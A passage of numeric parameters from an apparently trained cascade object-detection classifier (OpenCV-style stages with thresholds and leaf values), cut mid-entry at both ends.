2.7995559573173523e-01 + -6.1321508884429932e-01 + <_> + + 1 0 164 7.7096219174563885e-03 -1 -2 165 + -7.8599318861961365e-02 + + 2.0352549850940704e-01 7.2726912796497345e-02 + -6.8677097558975220e-01 + <_> + + 0 1 166 -3.6581400781869888e-03 -1 -2 167 + -4.2612198740243912e-02 + + -6.8079459667205811e-01 -8.4551781415939331e-01 + 1.5990570187568665e-01 + <_> + + 1 0 168 -4.8822778626345098e-04 -1 -2 169 + -4.6951142139732838e-03 + + -4.7945699095726013e-01 -8.2234281301498413e-01 + 2.0431579649448395e-01 + <_> + + 0 1 170 6.1706348787993193e-05 -1 -2 171 + 1.3809910044074059e-02 + + -3.1742820143699646e-01 3.0769300460815430e-01 + -4.3544968962669373e-01 + <_> + + 0 1 172 -4.2187729850411415e-03 -1 -2 173 + -3.9540808647871017e-03 + + 6.2499982118606567e-01 1.3225209712982178e-01 + -3.9745101332664490e-01 + <_> + + 1 0 174 2.2203531116247177e-03 -1 -2 175 + 6.2806582718621939e-05 + + -6.0045331716537476e-01 -2.2429980337619781e-01 + 2.9768520593643188e-01 + <_> + + 1 0 176 2.3292789701372385e-03 -1 -2 177 + -5.3711822256445885e-03 + + -7.5982081890106201e-01 2.6484918594360352e-01 + -2.6005539298057556e-01 + <_> + + 0 1 178 6.4782587287481874e-05 -1 -2 179 + 7.6606678776443005e-03 + + -3.2119300961494446e-01 2.4176409840583801e-01 + -8.3822727203369141e-01 + <_> + 19 + -2.2618789672851562e+00 + + <_> + + 1 0 180 -1.4848279766738415e-02 -1 -2 181 + -1.6066679963842034e-03 + + -5.3391128778457642e-01 7.6002711057662964e-01 + -2.1091739833354950e-01 + <_> + + 1 0 182 -1.5651920437812805e-01 -1 -2 183 + -5.5439779534935951e-03 + + -4.2818549275398254e-01 6.5620750188827515e-01 + -2.2949840128421783e-01 + <_> + + 1 0 184 -1.9448339939117432e-02 -1 -2 185 + 7.6653067953884602e-03 + + -4.4212520122528076e-01 -3.3950591087341309e-01 + 4.6587219834327698e-01 + <_> + + 0 1 186 -2.1142010390758514e-01 -1 -2 187 + -1.0628429800271988e-01 + + 5.5007970333099365e-01 6.8280947208404541e-01 + -3.0987739562988281e-01 + <_> + + 1 0 188 -5.2653599530458450e-02 -1 -2 189 + -5.3522300731856376e-05 + + -3.4818819165229797e-01 5.0566762685775757e-01 + -2.5229519605636597e-01 + <_> + + 0 1 190 -5.7972650974988937e-03 -1 -2 191 + -3.7428899668157101e-03 + + 3.0238011479377747e-01 2.2873230278491974e-01 + -4.8366579413414001e-01 + <_> + + 1 0 192 -5.2694038458866999e-05 -1 -2 193 + -1.1983739677816629e-03 + + -3.7988960742950439e-01 -6.7442452907562256e-01 + 2.8611260652542114e-01 + <_> + + 1 0 194 2.2544799372553825e-02 -1 -2 195 + 3.1783939339220524e-03 + + 4.7565719485282898e-01 -2.8893348574638367e-01 + 5.5509638786315918e-01 + <_> + + 1 0 196 3.4742769785225391e-03 -1 -2 197 + -8.1408787518739700e-03 + + -5.9826552867889404e-01 -5.5933791399002075e-01 + 2.2349210083484650e-01 + <_> + + 0 1 198 -3.0238809995353222e-03 -1 -2 199 + -5.9159598313271999e-03 + + 4.5917978882789612e-01 6.2234902381896973e-01 + -2.4468150734901428e-01 + <_> + + 1 0 200 2.3184430319815874e-03 -1 -2 201 + 7.7198208309710026e-03 + + -6.0478079319000244e-01 2.1004509925842285e-01 + -6.4331281185150146e-01 + <_> + + 0 1 202 -5.5973320268094540e-03 -1 -2 203 + 2.0320380281191319e-04 + + -7.1625810861587524e-01 -3.8018029928207397e-01 + 2.1336899697780609e-01 + <_> + + 1 0 204 -3.8205389864742756e-03 -1 -2 205 + 4.8883338458836079e-03 + + -3.5957258939743042e-01 2.6471930742263794e-01 + -5.8996689319610596e-01 + <_> + + 0 1 206 -1.3334590476006269e-03 -1 -2 207 + -1.5447080368176103e-03 + + 3.2258489727973938e-01 3.6971050500869751e-01 + -3.1308570504188538e-01 + <_> + + 0 1 208 7.5150746852159500e-05 -1 -2 209 + -1.1108840117231011e-03 + + -3.4674531221389771e-01 -5.7477539777755737e-01 + 2.9201140999794006e-01 + <_> + + 1 0 210 -1.6881119518075138e-04 -1 -2 211 + -1.2814450019504875e-04 + + -3.6041781306266785e-01 3.5043209791183472e-01 + -2.2014050185680389e-01 + <_> + + 1 0 212 1.9546970725059509e-02 -1 -2 213 + -1.1061180382966995e-02 + + 4.1295918822288513e-01 2.5962719321250916e-01 + -3.4875950217247009e-01 + <_> + + 1 0 214 1.8147419905290008e-03 -1 -2 215 + -7.1724010631442070e-03 + + -5.2019888162612915e-01 2.7452668547630310e-01 + -2.6828849315643311e-01 + <_> + + 1 0 216 2.2158189676702023e-03 -1 -2 217 + -9.6856858581304550e-03 + + -5.7340908050537109e-01 -5.8028572797775269e-01 + 1.8564410507678986e-01 + <_> + 19 + -2.0994780063629150e+00 + + <_> + + 0 1 218 -1.2065219692885876e-02 -1 -2 219 + -4.9067771434783936e-01 + + 6.1679571866989136e-01 1.4063939452171326e-01 + -5.5357742309570312e-01 + <_> + + 1 0 220 -6.6585717722773552e-03 -1 -2 221 + 1.5827560797333717e-02 + + -5.1332288980484009e-01 -3.6301520466804504e-01 + 4.3343341350555420e-01 + <_> + + 0 1 222 -1.4081180095672607e-02 -1 -2 223 + -1.2139449827373028e-02 + + 5.4223722219467163e-01 4.4281288981437683e-01 + -3.4171119332313538e-01 + <_> + + 0 1 224 7.8055798076093197e-03 -1 -2 225 + -7.0759910158813000e-05 + + -4.8659759759902954e-01 3.4818679094314575e-01 + -3.2806739211082458e-01 + <_> + + 0 1 226 -1.8199630081653595e-02 -1 -2 227 + -2.5289389304816723e-03 + + 5.6594151258468628e-01 1.1310060322284698e-01 + -4.0772381424903870e-01 + <_> + + 1 0 228 1.0156990028917789e-03 -1 -2 229 + 2.9432660085149109e-04 + + -5.9842979907989502e-01 2.8439450263977051e-01 + -3.2190230488777161e-01 + <_> + + 1 0 230 2.0865290425717831e-03 -1 -2 231 + -1.7371569992974401e-03 + + -7.8285712003707886e-01 3.3585301041603088e-01 + -2.0582370460033417e-01 + <_> + + 1 0 232 -7.0026202592998743e-05 -1 -2 233 + -1.4891549944877625e-03 + + -3.9109349250793457e-01 -4.6953418850898743e-01 + 2.7609241008758545e-01 + <_> + + 1 0 234 -1.1788429692387581e-02 -1 -2 235 + -1.5155089786276221e-03 + + -4.0114149451255798e-01 -7.4290478229522705e-01 + 2.7695629000663757e-01 + <_> + + 1 0 236 6.8396717309951782e-02 -1 -2 237 + -7.6441407203674316e-02 + + 4.5235648751258850e-01 4.2848169803619385e-01 + -3.1636309623718262e-01 + <_> + + 1 0 238 6.8310201168060303e-02 -1 -2 239 + -6.4508013427257538e-02 + + 5.1404279470443726e-01 1.8081870675086975e-01 + -3.4217950701713562e-01 + <_> + + 0 1 240 -2.8335719835013151e-03 -1 -2 241 + -9.9732237868010998e-04 + + -6.9509768486022949e-01 -4.3724590539932251e-01 + 2.0226080715656281e-01 + <_> + + 0 1 242 -2.2869910299777985e-01 -1 -2 243 + 2.9855249449610710e-03 + + 6.4662200212478638e-01 8.1149758771061897e-03 + -6.0210299491882324e-01 + <_> + + 0 1 244 -2.9535989742726088e-03 -1 -2 245 + -2.1225619129836559e-03 + + -7.2013127803802490e-01 5.0875622034072876e-01 + -5.9366609901189804e-02 + <_> + + 0 1 246 -2.9382819775491953e-03 -1 -2 247 + -5.8961478061974049e-03 + + 3.9287531375885010e-01 4.1866040229797363e-01 + -2.5405511260032654e-01 + <_> + + 1 0 248 2.5730929337441921e-03 -1 -2 249 + 1.6647739335894585e-02 + + -5.8707278966903687e-01 1.9208480417728424e-01 + -6.0388940572738647e-01 + <_> + + 1 0 250 2.4041840806603432e-03 -1 -2 251 + -9.0452830772846937e-04 + + -5.7192337512969971e-01 3.4860768914222717e-01 + -1.3049240410327911e-01 + <_> + + 1 0 252 4.0814210660755634e-03 -1 -2 253 + 3.3811479806900024e-03 + + 5.1778018474578857e-01 -6.3828541897237301e-03 + -6.1447817087173462e-01 + <_> + + 0 1 254 -2.7499340940266848e-03 -1 -2 255 + -4.8207710497081280e-03 + + -6.5407788753509521e-01 -6.0029619932174683e-01 + 1.4374589920043945e-01 + <_> + 21 + -2.1254189014434814e+00 + + <_> + + 0 1 256 7.9710120335221291e-03 -1 -2 257 + -9.7160867881029844e-04 + + -6.1992239952087402e-01 5.4877161979675293e-01 + -4.0606960654258728e-01 + <_> + + 0 1 258 -1.0945869609713554e-02 -1 -2 259 + -6.1174821108579636e-02 + + 4.6936869621276855e-01 3.0570849776268005e-01 + -4.4459891319274902e-01 + <_> + + 1 0 260 -2.3100150283426046e-03 -1 -2 261 + -4.7585051506757736e-02 + + -3.7816441059112549e-01 4.8865839838981628e-01 + -2.9728868603706360e-01 + <_> + + 1 0 262 -2.5944279041141272e-03 -1 -2 263 + -3.9469371549785137e-03 + + -5.4405367374420166e-01 3.6382490396499634e-01 + -3.0469849705696106e-01 + <_> + + 0 1 264 3.1871569808572531e-04 -1 -2 265 + -2.6655721012502909e-03 + + -4.6822971105575562e-01 3.3131968975067139e-01 + -2.9918238520622253e-01 + <_> + + 1 0 266 -3.9534650743007660e-02 -1 -2 267 + -9.4085611635819077e-04 + + -3.5316830873489380e-01 4.4447100162506104e-01 + -1.1088660359382629e-01 + <_> + + 0 1 268 6.9526307925116271e-05 -1 -2 269 + -9.6976682543754578e-03 + + -3.9403268694877625e-01 5.7181888818740845e-01 + -1.6370950266718864e-02 + <_> + + 1 0 270 3.9469040930271149e-02 -1 -2 271 + -8.2811042666435242e-03 + + 6.9152122735977173e-01 1.3349990546703339e-01 + -4.7064480185508728e-01 + <_> + + 0 1 272 -4.3219728395342827e-03 -1 -2 273 + -5.5436040274798870e-03 + + 3.8239258527755737e-01 1.5645879507064819e-01 + -4.1088208556175232e-01 + <_> + + 1 0 274 -5.9953341406071559e-05 -1 -2 275 + -5.9089371934533119e-03 + + -3.9221799373626709e-01 -5.9083867073059082e-01 + 2.7924481034278870e-01 + <_> + + 0 1 276 -4.4721391052007675e-02 -1 -2 277 + 4.1267018765211105e-02 + + 4.1454491019248962e-01 -3.2242009043693542e-01 + 3.7849879264831543e-01 + <_> + + 0 1 278 5.6728709751041606e-05 -1 -2 279 + -6.2427870929241180e-02 + + -3.2228040695190430e-01 -5.9666448831558228e-01 + 2.8915780782699585e-01 + <_> + + 0 1 280 -5.6994128972291946e-03 -1 -2 281 + 7.5202910229563713e-03 + + 3.7499341368675232e-01 -2.8132459521293640e-01 + 5.0988858938217163e-01 + <_> + + 0 1 282 -3.3640549518167973e-03 -1 -2 283 + -6.8076648749411106e-03 + + -6.3978207111358643e-01 -7.3105818033218384e-01 + 1.4475250244140625e-01 + <_> + + 1 0 284 1.2633459642529488e-02 -1 -2 285 + -2.9199919663369656e-03 + + -7.7725297212600708e-01 2.3258599638938904e-01 + -2.0490600168704987e-01 + <_> + + 0 1 286 -3.0582249164581299e-02 -1 -2 287 + -2.7796169742941856e-03 + + -6.5738821029663086e-01 -5.4888349771499634e-01 + 1.3837890326976776e-01 + <_> + + 0 1 288 -7.6163080520927906e-03 -1 -2 289 + -1.8409560434520245e-03 + + -3.5912349820137024e-01 2.2404469549655914e-01 + -3.7881860136985779e-01 + <_> + + 0 1 290 -3.9200261235237122e-02 -1 -2 291 + -2.2543789818882942e-03 + + 5.0090551376342773e-01 3.1364008784294128e-01 + -2.2131860256195068e-01 + <_> + + 1 0 292 2.3894659243524075e-03 -1 -2 293 + -1.0725490283221006e-03 + + -5.8699512481689453e-01 4.7141209244728088e-01 + -3.2570488750934601e-02 + <_> + + 0 1 294 8.9095337898470461e-05 -1 -2 295 + 1.6920049674808979e-03 + + -3.0444309115409851e-01 3.0280891060829163e-01 + -3.8902729749679565e-01 + <_> + + 1 0 296 1.1784000322222710e-02 -1 -2 297 + 3.9335917681455612e-03 + + -6.8993437290191650e-01 -6.7763939499855042e-02 + 4.6499788761138916e-01 + <_> + 22 + -2.0614759922027588e+00 + + <_> + + 0 1 298 1.1430840007960796e-02 -1 -2 299 + -3.2242920249700546e-02 + + -3.9274570345878601e-01 6.5568798780441284e-01 + -3.1068810820579529e-01 + <_> + + 1 0 300 -1.8382760463282466e-03 -1 -2 301 + -1.0764399915933609e-01 + + -4.0825068950653076e-01 4.3280079960823059e-01 + -4.2263451218605042e-01 + <_> + + 1 0 302 -2.3866090923547745e-03 -1 -2 303 + 8.6586214601993561e-03 + + -4.6435201168060303e-01 -4.0673071146011353e-01 + 4.1267868876457214e-01 + <_> + + 1 0 304 -1.6437229933217168e-03 -1 -2 305 + -9.8511137068271637e-02 + + -2.1344049274921417e-01 6.8432319164276123e-01 + -9.7035013139247894e-02 + <_> + + 0 1 306 4.4292360544204712e-03 -1 -2 307 + 4.6966210938990116e-03 + + -3.9498910307884216e-01 -1.1345980316400528e-01 + 4.9681991338729858e-01 + <_> + + 1 0 308 -8.8480701670050621e-03 -1 -2 309 + -6.7258379422128201e-03 + + -3.1293100118637085e-01 -6.1635792255401611e-01 + 3.1764769554138184e-01 + <_> + + 1 0 310 2.0052040927112103e-03 -1 -2 311 + -1.3407340273261070e-02 + + 3.1724271178245544e-01 1.9735060632228851e-01 + -3.7199181318283081e-01 + <_> + + 0 1 312 -4.4199679978191853e-03 -1 -2 313 + -3.2800938934087753e-02 + + -5.7164478302001953e-01 3.0599930882453918e-01 + -1.7397969961166382e-01 + <_> + + 0 1 314 4.9407979531679302e-05 -1 -2 315 + 4.1550169698894024e-03 + + -2.8270530700683594e-01 2.9686808586120605e-01 + -4.8494309186935425e-01 + <_> + + 1 0 316 -7.5589967309497297e-05 -1 -2 317 + -3.2147730235010386e-03 + + -3.8531139492988586e-01 -6.3306808471679688e-01 + 2.3434750735759735e-01 + <_> + + 0 1 318 1.6021779738366604e-03 -1 -2 319 + -1.9478019326925278e-02 + + -2.9579049348831177e-01 -4.9625208973884583e-01 + 2.6092579960823059e-01 + <_> + + 0 1 320 -2.5193750858306885e-02 -1 -2 321 + -4.6487729996442795e-02 + + 3.9384880661964417e-01 2.2168830037117004e-01 + -2.9691740870475769e-01 + <_> + + 1 0 322 4.3414267711341381e-03 -1 -2 323 + -2.4886759929358959e-03 + + -6.7661178112030029e-01 2.0509929955005646e-01 + -2.9771140217781067e-01 + <_> + + 0 1 324 -5.8827269822359085e-03 -1 -2 325 + 9.0498890494927764e-04 + + -6.1301797628402710e-01 -3.4023219347000122e-01 + 1.8168209493160248e-01 + <_> + + 0 1 326 -9.8338901996612549e-02 -1 -2 327 + 5.6141808629035950e-02 + + 4.7729569673538208e-01 -2.2904439270496368e-01 + 3.4410089254379272e-01 + <_> + + 1 0 328 -5.5787130258977413e-03 -1 -2 329 + 1.5108759980648756e-03 + + -3.5910171270370483e-01 2.4900430440902710e-01 + -4.3798071146011353e-01 + <_> + + 0 1 330 -6.0129738412797451e-03 -1 -2 331 + -7.9341192031279206e-04 + + 3.1164181232452393e-01 2.6759660243988037e-01 + -3.6802908778190613e-01 + <_> + + 1 0 332 6.1855330131947994e-03 -1 -2 333 + -7.3785060085356236e-03 + + -7.2153317928314209e-01 -5.3714382648468018e-01 + 1.3824890553951263e-01 + <_> + + 0 1 334 -6.7488732747733593e-04 -1 -2 335 + -1.3102099765092134e-03 + + 3.7406051158905029e-01 1.9003790616989136e-01 + -3.1632271409034729e-01 + <_> + + 0 1 336 4.9453211249783635e-04 -1 -2 337 + 1.2824690202251077e-03 + + -2.3283170163631439e-01 3.0463808774948120e-01 + -4.8092108964920044e-01 + <_> + + 0 1 338 -2.2624820470809937e-02 -1 -2 339 + 4.3685249984264374e-03 + + -6.8783479928970337e-01 1.2403090298175812e-01 + -7.9220730066299438e-01 + <_> + + 1 0 340 5.6756488047540188e-03 -1 -2 341 + -8.1769213080406189e-02 + + 1.7611420154571533e-01 3.8942161202430725e-01 + -4.5094010233879089e-01 + <_> + 24 + -1.9795049428939819e+00 + + <_> + + 1 0 342 -2.0003549754619598e-02 -1 -2 343 + -3.2621208578348160e-02 + + -5.6650751829147339e-01 5.0807082653045654e-01 + -4.5345708727836609e-01 + <_> + + 0 1 344 1.0668139904737473e-02 -1 -2 345 + -1.6276689246296883e-02 + + -3.2316839694976807e-01 6.0189497470855713e-01 + -2.4059510231018066e-01 + <_> + + 1 0 346 -2.8211208991706371e-03 -1 -2 347 + -1.4291180297732353e-02 + + -4.7181150317192078e-01 5.1280087232589722e-01 + -1.0744000226259232e-01 + <_> + + 0 1 348 1.0120410006493330e-03 -1 -2 349 + -5.9822672046720982e-03 + + -3.8844698667526245e-01 4.6928858757019043e-01 + -9.1355919837951660e-02 + <_> + + 1 0 350 -2.4705699179321527e-03 -1 -2 351 + 2.4079859722405672e-03 + + -4.5964410901069641e-01 2.1830670535564423e-01 + -5.9373402595520020e-01 + <_> + + 1 0 352 -1.4312269631773233e-03 -1 -2 353 + 2.9141810955479741e-04 + + -2.4731670320034027e-01 -2.5972241163253784e-01 + 3.8206368684768677e-01 + <_> + + 0 1 354 -3.2818811014294624e-03 -1 -2 355 + -1.0365940397605300e-03 + + -7.7180129289627075e-01 2.3569859564304352e-01 + -2.2067700326442719e-01 + <_> + + 0 1 356 -2.2078400943428278e-03 -1 -2 357 + 3.5239339340478182e-03 + + 3.0886119604110718e-01 -2.8496000170707703e-01 + 4.7544300556182861e-01 + <_> + + 0 1 358 -6.1774807982146740e-03 -1 -2 359 + -3.2023619860410690e-03 + + -7.0318382978439331e-01 -5.1361310482025146e-01 + 1.5656259655952454e-01 + <_> + + 1 0 360 -8.7003601947799325e-04 -1 -2 361 + -3.8079950027167797e-03 + + -2.9925128817558289e-01 5.5215638875961304e-01 + -8.0608041025698185e-04 + <_> + + 1 0 362 4.9994210712611675e-03 -1 -2 363 + -1.0323170572519302e-03 + + -4.3541741371154785e-01 5.4992151260375977e-01 + -5.0770761445164680e-03 + <_> + + 1 0 364 6.9215619005262852e-03 -1 -2 365 + -8.1578325480222702e-03 + + 3.3900010585784912e-01 3.4354889392852783e-01 + -2.4483889341354370e-01 + <_> + + 0 1 366 -1.6159559600055218e-03 -1 -2 367 + 4.7165839932858944e-03 + + -7.4653702974319458e-01 1.1855059862136841e-01 + -7.1803867816925049e-01 + <_> + + 1 0 368 -1.6093119978904724e-02 -1 -2 369 + -5.9861610643565655e-03 + + -3.2987210154533386e-01 3.1263980269432068e-01 + -2.3194029927253723e-01 + <_> + + 1 0 370 6.4122617244720459e-02 -1 -2 371 + 2.1518159657716751e-02 + + 4.6239149570465088e-01 -2.4277320504188538e-01 + 4.0963909029960632e-01 + <_> + + 0 1 372 -2.8541380167007446e-01 -1 -2 373 + 2.7372559998184443e-04 + + 4.4521799683570862e-01 -4.7307610511779785e-01 + 7.6739721000194550e-02 + <_> + + 0 1 374 -6.4039281569421291e-03 -1 -2 375 + 1.4279670082032681e-02 + + -5.6167787313461304e-01 -6.7311890423297882e-02 + 4.3806758522987366e-01 + <_> + + 0 1 376 -1.3179860077798367e-02 -1 -2 377 + 6.6828072071075439e-02 + + -6.7672669887542725e-01 -3.2182909548282623e-02 + 5.1308721303939819e-01 + <_> + + 0 1 378 6.3021448440849781e-03 -1 -2 379 + -1.6806010389700532e-03 + + -2.0082660019397736e-01 -5.1767241954803467e-01 + 3.8576510548591614e-01 + <_> + + 0 1 380 -1.5057720011100173e-03 -1 -2 381 + 1.1699240421876311e-03 + + 3.9358091354370117e-01 -2.5579568743705750e-01 + 3.1927299499511719e-01 + <_> + + 1 0 382 7.2735180146992207e-03 -1 -2 383 + 7.8693883551750332e-05 + + -7.1667242050170898e-01 -1.8908829987049103e-01 + 2.3849080502986908e-01 + <_> + + 1 0 384 1.9624589476734400e-03 -1 -2 385 + -3.1472831033170223e-03 + + -5.1583772897720337e-01 4.8033049702644348e-01 + -3.6237910389900208e-02 + <_> + + 1 0 386 5.0133569166064262e-03 -1 -2 387 + -6.5994369797408581e-03 + + -5.2729338407516479e-01 -6.9400531053543091e-01 + 1.2275890260934830e-01 + <_> + + 0 1 388 -4.2700361460447311e-02 -1 -2 389 + -3.5096149076707661e-05 + + -6.8218547105789185e-01 1.2160310149192810e-01 + -4.2142289876937866e-01 + <_> + 24 + -1.9048260450363159e+00 + + <_> + + 0 1 390 8.7128365412354469e-03 -1 -2 391 + -4.0675927884876728e-03 + + -4.4048839807510376e-01 6.0030102729797363e-01 + -2.6042649149894714e-01 + <_> + + 1 0 392 -8.3933398127555847e-02 -1 -2 393 + -2.2626180201768875e-02 + + -3.7943989038467407e-01 5.2529489994049072e-01 + -3.2733321189880371e-01 + <_> + + 1 0 394 -3.5725389607250690e-03 -1 -2 395 + -1.6297569964081049e-03 + + -2.6030939817428589e-01 4.8434230685234070e-01 + -3.8363268971443176e-01 + <_> + + 0 1 396 -8.0011576414108276e-02 -1 -2 397 + -9.6061453223228455e-02 + + 3.9579561352729797e-01 4.2874181270599365e-01 + -2.9096639156341553e-01 + <_> + + 1 0 398 -9.3183852732181549e-03 -1 -2 399 + 9.2205153778195381e-03 + + -3.9325499534606934e-01 -2.9857379198074341e-01 + 3.1733301281929016e-01 + <_> + + 1 0 400 2.3208750411868095e-02 -1 -2 401 + 1.6389730153605342e-03 + + 3.9295229315757751e-01 -5.4035997390747070e-01 + -2.1836880594491959e-02 + <_> + + 1 0 402 2.8872499242424965e-03 -1 -2 403 + 4.7465260140597820e-03 + + -7.8172737360000610e-01 1.4474189281463623e-01 + -6.4237701892852783e-01 + <_> + + 0 1 404 -5.7432148605585098e-03 -1 -2 405 + -8.5324952378869057e-03 + + -6.5556287765502930e-01 2.2090309858322144e-01 + -2.5790300965309143e-01 + <_> + + 0 1 406 -8.8752172887325287e-03 -1 -2 407 + -7.7129527926445007e-03 + + 4.6596860885620117e-01 2.5279781222343445e-01 + -2.6170450448989868e-01 + <_> + + 1 0 408 7.6909800991415977e-03 -1 -2 409 + 2.6657560374587774e-03 + + -5.9350818395614624e-01 1.6969729959964752e-01 + -5.4123950004577637e-01 + <_> + + 1 0 410 -4.4685939792543650e-04 -1 -2 411 + -1.5998890157788992e-03 + + -3.0383870005607605e-01 -5.4817748069763184e-01 + 2.4971559643745422e-01 + <_> + + 1 0 412 1.9368670182302594e-03 -1 -2 413 + -2.4878541007637978e-03 + + -6.3200348615646362e-01 4.7051379084587097e-01 + -4.5187219977378845e-02 + <_> + + 0 1 414 -2.8134910389780998e-03 -1 -2 415 + -1.4107710449025035e-03 + + 3.9270851016044617e-01 1.8017080426216125e-01 + -2.5714579224586487e-01 + <_> + + 0 1 416 -6.9013070315122604e-03 -1 -2 417 + -1.1458620429039001e-03 + + -5.3386241197586060e-01 2.8174358606338501e-01 + -1.6080249845981598e-01 + <_> + + 0 1 418 9.2800445854663849e-03 -1 -2 419 + -4.1281301528215408e-02 + + -3.0028960108757019e-01 -6.2409067153930664e-01 + 2.0549909770488739e-01 + <_> + + 0 1 420 -3.5625360906124115e-02 -1 -2 421 + -4.1647539474070072e-03 + + -5.2529340982437134e-01 -6.3538008928298950e-01 + 1.2846650183200836e-01 + <_> + + 0 1 422 -9.5598259940743446e-04 -1 -2 423 + -8.9347851462662220e-04 + + 2.6505509018898010e-01 1.8266810476779938e-01 + -3.7531790137290955e-01 + <_> + + 1 0 424 2.5431478861719370e-03 -1 -2 425 + -1.5853889286518097e-02 + + -6.1057221889495850e-01 3.0754768848419189e-01 + -9.8143920302391052e-02 + <_> + + 0 1 426 -4.1315760463476181e-02 -1 -2 427 + -6.8226549774408340e-04 + + 4.9247589707374573e-01 6.2975943088531494e-02 + -4.2634299397468567e-01 + <_> + + 1 0 428 6.3098431564867496e-04 -1 -2 429 + -2.8946860693395138e-03 + + 3.1397339701652527e-01 2.8590971231460571e-01 + -2.5623229146003723e-01 + <_> + + 0 1 430 -1.0244140401482582e-02 -1 -2 431 + -1.6979850828647614e-02 + + -6.9737482070922852e-01 -7.3125731945037842e-01 + 1.0389179736375809e-01 + <_> + + 1 0 432 -7.0198569446802139e-03 -1 -2 433 + -6.0688778758049011e-03 + + -3.5070639848709106e-01 -5.3395807743072510e-01 + 1.7334850132465363e-01 + <_> + + 0 1 434 -9.6911415457725525e-03 -1 -2 435 + 8.5460003465414047e-03 + + 5.6399798393249512e-01 -2.4716490507125854e-01 + 1.8216520547866821e-01 + <_> + + 1 0 436 -4.9479231238365173e-03 -1 -2 437 + 1.9269150216132402e-03 + + -2.8333988785743713e-01 -6.8196073174476624e-02 + 3.7787199020385742e-01 + <_> + 28 + -1.9407349824905396e+00 + + <_> + + 1 0 438 -2.8639819473028183e-02 -1 -2 439 + -4.2176660150289536e-02 + + -3.7718260288238525e-01 7.2298699617385864e-01 + -7.6141163706779480e-02 + <_> + + 1 0 440 -2.2537210024893284e-03 -1 -2 441 + -3.0683329328894615e-02 + + -3.2727459073066711e-01 5.1505237817764282e-01 + -2.2235199809074402e-01 + <_> + + 0 1 442 -1.2341269850730896e-01 -1 -2 443 + -2.3674150928854942e-02 + + 4.4699010252952576e-01 3.4708538651466370e-01 + -3.1773900985717773e-01 + <_> + + 0 1 444 3.1951239798218012e-03 -1 -2 445 + -1.4915530337020755e-03 + + -4.9775049090385437e-01 2.6384419202804565e-01 + -3.8912549614906311e-01 + <_> + + 0 1 446 8.8097527623176575e-04 -1 -2 447 + -5.8355771005153656e-02 + + -4.0939790010452271e-01 3.2287618517875671e-01 + -2.3045599460601807e-01 + <_> + + 1 0 448 5.1132370717823505e-03 -1 -2 449 + -4.5418320223689079e-03 + + -5.1353681087493896e-01 5.3011757135391235e-01 + -3.0649330466985703e-02 + <_> + + 1 0 450 1.6811339883133769e-03 -1 -2 451 + 2.8129699639976025e-03 + + -5.3161472082138062e-01 -6.7524053156375885e-02 + 3.8542249798774719e-01 + <_> + + 1 0 452 2.1835418883711100e-03 -1 -2 453 + -2.4335379712283611e-03 + + -6.4298832416534424e-01 -6.6313308477401733e-01 + 1.3882370293140411e-01 + <_> + + 1 0 454 3.0736608896404505e-03 -1 -2 455 + -9.6425544470548630e-03 + + -6.3433158397674561e-01 3.8696160912513733e-01 + -6.8737797439098358e-02 + <_> + + 0 1 456 -7.2082108817994595e-03 -1 -2 457 + -8.0191977322101593e-03 + + 1.6121250391006470e-01 3.8011130690574646e-01 + -4.1397979855537415e-01 + <_> + + 0 1 458 -7.2479159571230412e-03 -1 -2 459 + -2.2631640732288361e-01 + + 2.4351879954338074e-01 6.0667949914932251e-01 + -2.2521880269050598e-01 + <_> + + 0 1 460 -7.0091613451950252e-05 -1 -2 461 + -1.8161399662494659e-01 + + 1.7115320265293121e-01 5.2725982666015625e-01 + -3.5247540473937988e-01 + <_> + + 0 1 462 -9.4038434326648712e-03 -1 -2 463 + -2.1289030555635691e-03 + + 3.4970518946647644e-01 5.5878698825836182e-02 + -4.9816590547561646e-01 + <_> + + 0 1 464 -5.1798550412058830e-03 -1 -2 465 + -6.5030192490667105e-04 + + -6.3095641136169434e-01 3.5856458544731140e-01 + -7.8281052410602570e-02 + <_> + + 0 1 466 -1.0555930435657501e-02 -1 -2 467 + -5.1852981559932232e-03 + + -5.5502831935882568e-01 3.5548681020736694e-01 + -6.8892292678356171e-02 + <_> + + 0 1 468 -7.8725479543209076e-03 -1 -2 469 + -6.5342970192432404e-03 + + -4.8596179485321045e-01 2.1178959310054779e-01 + -2.3174080252647400e-01 + <_> + + 0 1 470 -1.3909920118749142e-02 -1 -2 471 + 1.5418450348079205e-03 + + 5.9936982393264771e-01 -9.5086917281150818e-03 + -6.4796131849288940e-01 + <_> + + 1 0 472 -1.1549900518730283e-03 -1 -2 473 + -3.2687030732631683e-02 + + -2.7501720190048218e-01 -6.7336207628250122e-01 + 1.9520400464534760e-01 + <_> + + 0 1 474 -2.6422590017318726e-01 -1 -2 475 + 6.9438670761883259e-03 + + 3.6986869573593140e-01 -3.0029740929603577e-01 + 1.4998969435691833e-01 + <_> + + 0 1 476 -1.2077920138835907e-02 -1 -2 477 + -1.3986700214445591e-03 + + 4.1644129157066345e-01 4.1248729825019836e-01 + -1.9533659517765045e-01 + <_> + + 1 0 478 1.3138339854776859e-02 -1 -2 479 + 7.2417110204696655e-03 + + -6.4204931259155273e-01 1.1359360069036484e-01 + -7.3838871717453003e-01 + <_> + + 0 1 480 -7.4837901629507542e-03 -1 -2 481 + 6.8022231571376324e-03 + + -6.9246298074722290e-01 9.2873439192771912e-02 + -6.0047471523284912e-01 + <_> + + 1 0 482 4.5322909951210022e-01 -1 -2 483 + -5.5721630342304707e-03 + + 5.6260532140731812e-01 7.7820159494876862e-02 + -3.3990600705146790e-01 + <_> + + 1 0 484 3.1583961099386215e-02 -1 -2 485 + -5.7926177978515625e-03 + + 3.2292670011520386e-01 1.5534450113773346e-01 + -3.5717839002609253e-01 + <_> + + 0 1 486 -7.6025379821658134e-03 -1 -2 487 + 9.5151038840413094e-04 + + -5.1859498023986816e-01 -2.9570670798420906e-02 + 4.6027511358261108e-01 + <_> + + 1 0 488 1.9723300356417894e-03 -1 -2 489 + 2.3158260155469179e-03 + + 3.6926651000976562e-01 -2.1299740672111511e-01 + 2.6948541402816772e-01 + <_> + + 1 0 490 2.1179600153118372e-03 -1 -2 491 + -2.6946600992232561e-03 + + -4.8369500041007996e-01 1.8545660376548767e-01 + -2.9411968588829041e-01 + <_> + + 1 0 492 5.8865409344434738e-02 -1 -2 493 + -6.8408921360969543e-03 + + -4.6770378947257996e-01 -6.6371321678161621e-01 + 1.2721349298954010e-01 + <_> + 26 + -1.8931059837341309e+00 + + <_> + + 1 0 494 -1.2766489759087563e-02 -1 -2 495 + 3.7821640726178885e-03 + + -3.7968099117279053e-01 -1.6001829504966736e-01 + 6.1953288316726685e-01 + <_> + + 1 0 496 